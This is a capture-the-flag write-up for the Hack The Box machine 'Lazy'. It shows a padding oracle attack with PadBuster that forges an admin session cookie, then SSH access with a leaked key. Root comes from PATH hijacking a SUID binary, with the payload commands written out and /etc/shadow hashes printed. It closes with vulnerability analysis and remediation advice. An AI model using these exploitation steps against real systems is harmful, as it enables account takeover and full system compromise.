Lazy - HTB Medium Machine
About
Lazy mainly focuses on the use of padding oracle attacks, however there are several unintended workarounds that are relatively easier, and many users miss the intended attack vector. Lazy also touches on basic exploitation of SUID binaries and using environment variables to aid in privilege escalation.
Exploitation
Enumeration
My initial reconnaissance began with an nmap scan to get a lay of the land. The results revealed two open ports: port 22 for SSH and port 80 running an Apache web server.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 e1:92:1b:48:f8:9b:63:96:d4:e5:7a:40:5f:a4:c8:33 (DSA)
| 2048 af:a0:0f:26:cd:1a:b5:1f:a7:ec:40:94:ef:3c:81:5f (RSA)
| 256 11:a3:2f:25:73:67:af:70:18:56:fe:a2:e3:54:81:e8 (ECDSA)
|_ 256 96:81:9c:f4:b7:bc:1a:73:05:ea:ba:41:35:a4:66:b7 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: CompanyDev
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
With the web server identified as the most likely entry point, I started a feroxbuster scan in the background to search for hidden directories and files. This uncovered a possibly non standard directory named /classes.
┌── ➤ lazy
└─ $ feroxbuster -u http://10.10.10.18/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --dont-extract-links -C 404 -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.18/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
💢 Status Code Filters │ [404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /home/user/.config/feroxbuster/ferox-config.toml
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 10l 30w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 41l 77w 1117c http://10.10.10.18/
301 GET 9l 28w 310c http://10.10.10.18/images => http://10.10.10.18/images/
200 GET 60l 95w 1592c http://10.10.10.18/register.php
200 GET 58l 97w 1548c http://10.10.10.18/login.php
200 GET 41l 77w 1117c http://10.10.10.18/index.php
200 GET 22l 41w 734c http://10.10.10.18/header.php
200 GET 7l 4w 51c http://10.10.10.18/footer.php
[####################] - 5s 220545/220545 41070/s http://10.10.10.18/images/
[####################] - 0s 220545/220545 740084/s http://10.10.10.18/css/
[####################] - 0s 220545/220545 577343/s http://10.10.10.18/classes/
Navigating to the /classes directory, it seemed to contain application functions, but I couldn't access the source code or load any of the files directly. They all returned a blank page.
The homepage itself was a simple corporate site with only login and register functionalities.
I attempted to register with the username admin, and the application returned an error stating the user already exists. This was a useful piece of information, confirming a valid username. For now, I decided against attempting a brute-force attack on the password, as there might be more efficient vectors to explore.
I proceeded to register a new user, nika, which allowed me to log in successfully.
Once logged in, the page simply displayed a welcome message with my username.
To understand how the session was being managed, I intercepted the request with Burp Suite. I noticed an auth cookie was being used for authentication.
GET /index.php HTTP/1.1
Host: 10.10.10.18
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,pt-BR;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.10.10.18/login.php
Connection: keep-alive
Cookie: auth=RgSu5wyNw51mr0EIrTRd3nAcjwb48nTH
Upgrade-Insecure-Requests: 1
Priority: u=0, i
When I tried to manually alter the cookie value, the server responded with an "Invalid padding" error message.
Foothold
Searching about this specific error, seens to indicate a Padding Oracle vulnerability. It meant the application was decrypting the cookie and revealing whether the padding was correct or not, a behavior that can be abused to decrypt and encrypt data without knowing the key.
A Padding Oracle attack works against block ciphers operating in Cipher Block Chaining (CBC) mode. In CBC encryption, each block of plaintext is XORed with the previous ciphertext block before being encrypted.
For decryption, the process is reversed. Each block is decrypted and then XORed with the previous ciphertext block to produce the original plaintext.
For decryption, the process is reversed. Each block is decrypted and then XORed with the previous ciphertext block to produce the original plaintext.
The vulnerability arises from how padding is handled. Block ciphers require data to be a multiple of the block size, so padding is added to the last block to meet this requirement. When an attacker sends a modified ciphertext, the server decrypts it. If the resulting padding is invalid, the server might return a specific error, like "Invalid padding." This gives the attacker a binary oracle: they know if their guess for a byte was correct or not. By systematically modifying bytes in the ciphertext and observing the server's response, an attacker can decrypt the entire message, byte by byte, or forge new valid ciphertexts.
To exploit this, I used the tool PadBuster pointed from hacktricks. My first goal was to decrypt my own cookie to confirm the plaintext format. The process can be time-consuming, as it tests many possibilities for each byte.
┌── ➤ lazy
└─ $ padbuster http://10.10.10.18/ RgSu5wyNw51mr0EIrTRd3nAcjwb48nTH 8 -cookies auth="RgSu5wyNw51mr0EIrTRd3nAcjwb48nTH" -encoding 0
Possible precedence problem between ! and string eq at /usr/bin/padbuster line 677.
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 978
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 1133 N/A
2 ** 255 200 15 N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (9/256) [Byte 8]
[+] Success: (88/256) [Byte 7]
[+] Success: (32/256) [Byte 6]
[+] Success: (203/256) [Byte 5]
[+] Success: (112/256) [Byte 4]
[+] Success: (51/256) [Byte 3]
[+] Success: (144/256) [Byte 2]
[+] Success: (197/256) [Byte 1]
Block 1 Results:
[+] Cipher Text (HEX): 66af4108ad345dde
[+] Intermediate Bytes (HEX): 3377cb9531e3aaf6
[+] Plain Text: user=nik
Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1.
*** Starting Block 2 of 2 ***
[+] Success: (40/256) [Byte 8]
[+] Success: (168/256) [Byte 7]
[+] Success: (208/256) [Byte 6]
[+] Success: (82/256) [Byte 5]
[+] Success: (246/256) [Byte 4]
[+] Success: (192/256) [Byte 3]
[+] Success: (81/256) [Byte 2]
[+] Success: (241/256) [Byte 1]
Block 2 Results:
[+] Cipher Text (HEX): 701c8f06f8f274c7
[+] Intermediate Bytes (HEX): 07a8460faa335ad9
[+] Plain Text: a
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): user=nika
[+] Decrypted value (HEX): 757365723D6E696B6107070707070707
[+] Decrypted value (Base64): dXNlcj1uaWthBwcHBwcHBw==
-------------------------------------------------------
The tool successfully decrypted the cookie, revealing the plaintext user=nika. With the format confirmed.
I could now use PadBuster to encrypt a new plaintext, user=admin, to forge a valid cookie for the admin account as a discover before this user existes and possibly have more authority.
┌── ➤ lazy
└─ $ padbuster http://10.10.10.18/ RgSu5wyNw51mr0EIrTRd3nAcjwb48nTH 8 -cookies auth="RgSu5wyNw51mr0EIrTRd3nAcjwb48nTH" -encoding 0 -plaintext "user=admin"
Possible precedence problem between ! and string eq at /usr/bin/padbuster line 677.
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 978
INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 2
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 1133 N/A
2 ** 255 200 15 N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (196/256) [Byte 8]
[+] Success: (148/256) [Byte 7]
[+] Success: (92/256) [Byte 6]
[+] Success: (41/256) [Byte 5]
[+] Success: (218/256) [Byte 4]
[+] Success: (136/256) [Byte 3]
[+] Success: (150/256) [Byte 2]
[+] Success: (190/256) [Byte 1]
Block 2 Results:
[+] New Cipher Text (HEX): 23037825d5a1683b
[+] Intermediate Bytes (HEX): 4a6d7e23d3a76e3d
[+] Success: (1/256) [Byte 8]
[+] Success: (36/256) [Byte 7]
[+] Success: (180/256) [Byte 6]
[+] Success: (17/256) [Byte 5]
[+] Success: (146/256) [Byte 4]
[+] Success: (50/256) [Byte 3]
[+] Success: (132/256) [Byte 2]
[+] Success: (135/256) [Byte 1]
Block 1 Results:
[+] New Cipher Text (HEX): 0408ad19d62eba93
[+] Intermediate Bytes (HEX): 717bc86beb4fdefe
-------------------------------------------------------
** Finished ***
[+] Encrypted value is: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA
-------------------------------------------------------
With the newly forged admin cookie, BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA, I modified the request in Burp Suite. The server's response confirmed I was logged in as admin and revealed a new link called My Key.
I updated the cookie in my browser developer tools and refreshed the page. The "My Key" link was now visible as I'm logged as admin.
Clicking the link took me to http://10.10.10.18/mysshkeywithnamemitsos. The page displayed a private SSH key, and the URL strongly suggested the corresponding username was mitsos.
I saved the key to a file named id_rsa using curl, making sure to include the admin auth cookie in the request.
curl "http://10.10.10.18/mysshkeywithnamemitsos" -H "Cookie: auth=BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA" -o id_rsa
Next, I set the correct permissions for the private key and confirmed its file type.
└─ $ chmod 600 id_rsa
└─ $ file id_rsa
id_rsa: PEM RSA private key
The SSH service on the target was running an older version, which required me to explicitly specify the accepted public key algorithm. With the -o PubkeyAcceptedKeyTypes=+ssh-rsa option, I was able to log in successfully as the user mitsos.
ssh -o PubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsa mitsos@10.10.10.18
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)
* Documentation: https://help.ubuntu.com/
System information as of Mon Oct 13 15:26:14 EEST 2025
System load: 0.8 Memory usage: 4% Processes: 193
Usage of /: 48.3% of 2.76GB Swap usage: 0% Users logged in: 0
Graph this data and manage this system at:
https://landscape.canonical.com/
Last login: Tue Dec 7 17:41:53 2021 from 10.10.14.22
mitsos@LazyClown:~$
I now had a foothold on the system as the user mitsos.
USER
With access to the machine, I could retrieve the first flag.
mitsos@LazyClown:~$ cat user.txt
3fad31c9c045f85....
Privilege Escalation
After landing in the mitsos home directory, I started looking for potential privilege escalation vectors. A quick ls -la revealed a very interesting file.
mitsos@LazyClown:~$ ls -la
total 64
drwxr-xr-x 5 mitsos mitsos 4096 Dec 7 2021 .
drwxr-xr-x 3 root root 4096 Dec 7 2021 ..
-rwsrwsr-x 1 root root 7303 May 3 2017 backup
-rw------- 1 mitsos mitsos 224 May 3 2017 .bash_history
-rw-r--r-- 1 root root 1 May 3 2017 .bash.history
-rw-r--r-- 1 mitsos mitsos 220 May 2 2017 .bash_logout
-rw-r--r-- 1 mitsos mitsos 3637 May 2 2017 .bashrc
drwx------ 2 mitsos mitsos 4096 Dec 7 2021 .cache
-rw-rw-r-- 1 mitsos mitsos 0 Dec 7 2021 cat
-rw------- 1 mitsos mitsos 2524 May 2 2017 .gdb_history
-rw-rw-r-- 1 mitsos mitsos 22 May 2 2017 .gdbinit
-rw------- 1 root root 46 May 2 2017 .nano_history
drwxrwxr-x 4 mitsos mitsos 4096 Dec 7 2021 peda
-rw-r--r-- 1 mitsos mitsos 675 May 2 2017 .profile
drwxrwxr-x 2 mitsos mitsos 4096 Dec 7 2021 .ssh
-r--r--r-- 1 mitsos mitsos 33 Oct 13 15:30 user.txt
binary named backup stood out because it was owned by root and had the SUID bit set (-rws...). This means that when I execute this file, it runs with the permissions of its owner, which is root, not my current user, mitsos. This is a prime target.
Running the binary displayed the contents of what appeared to be the /etc/shadow file. I copied the hashes for root and mitsos and ran them against the rockyou.txt wordlist using hashcat, but this turned out to be a dead end with no results with this wordlist.
mitsos@LazyClown:~$ ./backup
root:$6$v1daFgo/$.7m9WXOoE4CKFdWvC.8A9aaQ334avEU8KHTmhjjGXMl0CTvZqRfNM5NO2/.7n2WtC58IUOMvLjHL0j4OsDPuL0:17288:0:99999:7:::
daemon:*:17016:0:99999:7:::
bin:*:17016:0:99999:7:::
sys:*:17016:0:99999:7:::
sync:*:17016:0:99999:7:::
games:*:17016:0:99999:7:::
man:*:17016:0:99999:7:::
lp:*:17016:0:99999:7:::
mail:*:17016:0:99999:7:::
news:*:17016:0:99999:7:::
uucp:*:17016:0:99999:7:::
proxy:*:17016:0:99999:7:::
www-data:*:17016:0:99999:7:::
backup:*:17016:0:99999:7:::
list:*:17016:0:99999:7:::
irc:*:17016:0:99999:7:::
gnats:*:17016:0:99999:7:::
nobody:*:17016:0:99999:7:::
libuuid:!:17016:0:99999:7:::
syslog:*:17016:0:99999:7:::
messagebus:*:17288:0:99999:7:::
landscape:*:17288:0:99999:7:::
mitsos:$6$LMSqqYD8$pqz8f/.wmOw3XwiLdqDuntwSrWy4P1hMYwc2MfZ70yA67pkjTaJgzbYaSgPlfnyCLLDDTDSoHJB99q2ky7lEB1:17288:0:99999:7:::
mysql:!:17288:0:99999:7:::
sshd:*:17288:0:99999:7:::
To understand what the binary was doing under the hood, I used ltrace. This tool tracks library calls made by a program. The output clearly showed the binary making a system call to run the command cat /etc/shadow.
mitsos@LazyClown:~$ ltrace ./backup
__libc_start_main(0x804841d, 1, 0xbffff7d4, 0x8048440 <unfinished ...>
system("cat /etc/shadow"cat: /etc/shadow: Permission denied
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
+++ exited (status 0) +++
The "Permission denied" error occurs because ltrace itself runs as my user, mitsos, and doesn't have permission to read /etc/shadow. However, it successfully revealed the exact command the SUID binary executes as root.
As a quick confirmation, I also ran the strings command, which extracts any readable text from a binary. This is a simple way to find hardcoded commands or paths. As expected, it also contained the string cat /etc/shadow.
mitsos@LazyClown:~$ strings ./backup
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
cat /etc/shadow
;*2$"
GCC: (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
The possibly vulnerability here is a classic PATH hijacking. The binary calls cat without specifying its absolute path, /bin/cat. This means the system will search for an executable named cat in the directories listed in my $PATH environment variable, in order.
I checked my current $PATH configuration:
mitsos@LazyClown:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
To exploit this, my plan was to create my own malicious cat executable and place it in a directory that the system would search first. I could achieve this by pretending a directory I control, like /tmp, to the $PATH variable.
mitsos@LazyClown:~$ PATH=/tmp:$PATH
mitsos@LazyClown:~$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
Now, I created a simple script at /tmp/cat that would just run the id command. This would serve as a proof-of-concept to confirm that the backup binary was indeed executing my script with root privileges.
vi /tmp/cat
The content of my new /tmp/cat file was:
#!/bin/sh
id
I made the script executable and then ran the backup binary again.
mitsos@LazyClown:~$ chmod +x /tmp/cat
mitsos@LazyClown:~$ ./backup
uid=1000(mitsos) gid=1000(mitsos) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),1000(mitsos)
Success. The output of the id command showed that the effective user ID (euid) was 0(root). This confirmed the vulnerability was exploitable. Now, I could replace the proof-of-concept with a payload to get a persistent root shell. I modified the /tmp/cat script to copy the system's bash shell to /tmp, set its owner to root, and add the SUID permission.
mitsos@LazyClown:~$ echo "cp /bin/bash /tmp/nika; chown root:root /tmp/nika; chmod 4777 /tmp/nika" > /tmp/cat
I executed ./backup one final time to trigger this new payload. A new SUID-enabled shell named nika was created in /tmp.
mitsos@LazyClown:~$ ls /tmp/
cat nika vmware-root
To use this new shell and retain the root privileges, I had to run it with the -p flag. This flag tells bash to not drop its effective privileges upon startup.
mitsos@LazyClown:~$ /tmp/nika -p
nika-4.3# whoami
root
I was now root. The last step was to restore the $PATH variable to its original state so I could use standard system commands like cat without issues.
nika-4.3# PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
ROOT
With full root permissions, I could finally read the root flag.
nika-4.3# cat /root/root.txt
883654d4cc82cd....
Vulnerability Analysis
1. Padding Oracle on Authentication Cookie
The web application's session management was vulnerable to a padding oracle attack. The auth cookie, which is encrypted using a block cipher in CBC mode, revealed different error messages depending on whether the cryptographic padding was valid. This information leak acted as an "oracle," allowing an attacker to systematically decrypt the cookie's contents without the encryption key. The plaintext format was discovered to be user=[username]. This flaw was leveraged to forge a valid session cookie for the admin user, granting unauthorized access to administrative functionality.
- CWE-209: Generation of Error Message Containing Sensitive Information: The application leaks its internal state through distinct error messages, which directly enables the cryptographic attack.
2. SUID Binary PATH Hijacking
A custom SUID binary named backup, located in the user's home directory, was intended to display the contents of /etc/shadow. An analysis of the binary revealed that it executed the cat command using a system() call without specifying its absolute path (e.g., /bin/cat). This makes the execution dependent on the user's $PATH environment variable. By prepending a user-writable directory like /tmp to the $PATH and placing a malicious script named cat within it, it was possible to trick the SUID program into executing arbitrary code with root privileges. This led to a full privilege escalation.
- CWE-427: Uncontrolled Search Path Element: The privileged application uses a relative path to find an executable, allowing an attacker to control which program is ultimately executed.
Vulnerability Remediation
1. Securing Cryptographic Operations
To fix the padding oracle vulnerability, the use of custom and improperly implemented cryptography for session management must be addressed.
The most effective remediation is to replace the current encryption scheme with a modern, authenticated encryption with associated data (AEAD) cipher, such as AES-GCM. These algorithms provide confidentiality and integrity in a single, secure operation, making them immune to padding oracle attacks.
If an immediate migration is not possible, ensure that the application returns a single, generic error message for any invalid cookie, regardless of the underlying cause. Additionally, implement a Message Authentication Code (MAC), such as HMAC-SHA256, to verify the cookie's integrity before any decryption is attempted.
2. Hardening SUID Executables
To prevent PATH hijacking, any program that runs with elevated privileges must not trust the user's environment.
First, developers must always use absolute paths when executing commands from within privileged code. The call to system("cat /etc/shadow") should be changed to system("/bin/cat /etc/shadow").
As a defense-in-depth measure, the program should sanitize its own environment upon startup by explicitly setting a safe, minimal PATH, such as PATH="/bin:/usr/bin", before executing any other logic. This ensures that only system-trusted directories are searched for executables. System administrators should also regularly audit for SUID/SGID files, question their necessity, and remove the SUID bit from any program where it is not absolutely required.
References
the master 0xdf
Padding_oracle_attack
hacktricks padding-oracle-priv
swepssecurity-bypassing-encrypted-session-tokens